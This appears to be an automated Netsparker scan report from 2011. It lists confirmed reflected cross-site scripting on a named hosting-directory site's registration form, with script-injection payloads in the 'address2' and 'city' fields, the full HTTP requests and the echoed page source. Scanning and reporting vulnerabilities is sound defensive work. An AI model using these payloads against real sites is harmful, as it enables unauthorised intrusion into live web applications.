</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST '"--></style></script><script>alert(0x001EB5)</script>
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 546
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001EB5)%3c%2fscript%3e&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:00:09 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='5F82287B94E338F2BAC0B8F67E0CBEF6C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='5F82287B94E338F2428291D3B93E20596F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='5F82287B94E338F2A747C3BA4DBFD38CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='5F82287B94E338F28D6361028DC45BE9C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='5F82287B94E338F226EB9FE2DABA92E26F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='5F82287B94E338F2F126ACA87BD2EBD9C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='5F82287B94E338F27F7834CCF0F62F24C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='5F82287B94E338F250E22014F97E61E26F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='5F82287B94E338F283C15BAC084B726DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='5F82287B94E338F267EF11DA5D46ED386F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='5F82287B94E338F2B76A1E36FBCD1F55C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='5F82287B94E338F22957E8C0971A8229C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='5F82287B94E338F2AD18083F981BA0E3C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='5F82287B94E338F2DCEEA5CDCACDD65FC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='5F82287B94E338F28F41CD4CEFF1313DC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='5F82287B94E338F2FB79275D43FBC177C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='5F82287B94E338F2C49F8AF6E0A729DF6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='5F82287B94E338F2F206E89B6CF545146F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='5F82287B94E338F29E7DCBF5F566C7FC6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST '"--></style></script><script>alert(0x001EB6)</script>
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 546
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001EB6)%3c%2fscript%3e&state=11&province=3&zip=3&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:00:16 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='5F82287B94E338F268FB65D8E9F2D2BCC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='5F82287B94E338F24EB082697DA0D2EF6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='5F82287B94E338F217084F04458AE94FC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='5F82287B94E338F2FFA04E3B345F52DCC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='5F82287B94E338F2CE2A8087AA3ACE346F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='5F82287B94E338F2D1381C8DFADE2B83C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='5F82287B94E338F2638CE68D5ED27209C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='5F82287B94E338F2BD7FDE1ABDB298696F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='5F82287B94E338F23139820402459F0FC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='5F82287B94E338F226C1087C5833C38A6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='5F82287B94E338F2D256936C54B23856C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='5F82287B94E338F2F3DBB69FE303BAD7C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='5F82287B94E338F299F7925440CA172AC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='5F82287B94E338F22849A19499BC6304C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='5F82287B94E338F236F68349777D7593C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='5F82287B94E338F23BBD2914E907BEEEC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='5F82287B94E338F27AAA893E8455211C6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='5F82287B94E338F260466040F25A58496F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='5F82287B94E338F25432C771585E6EA86F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
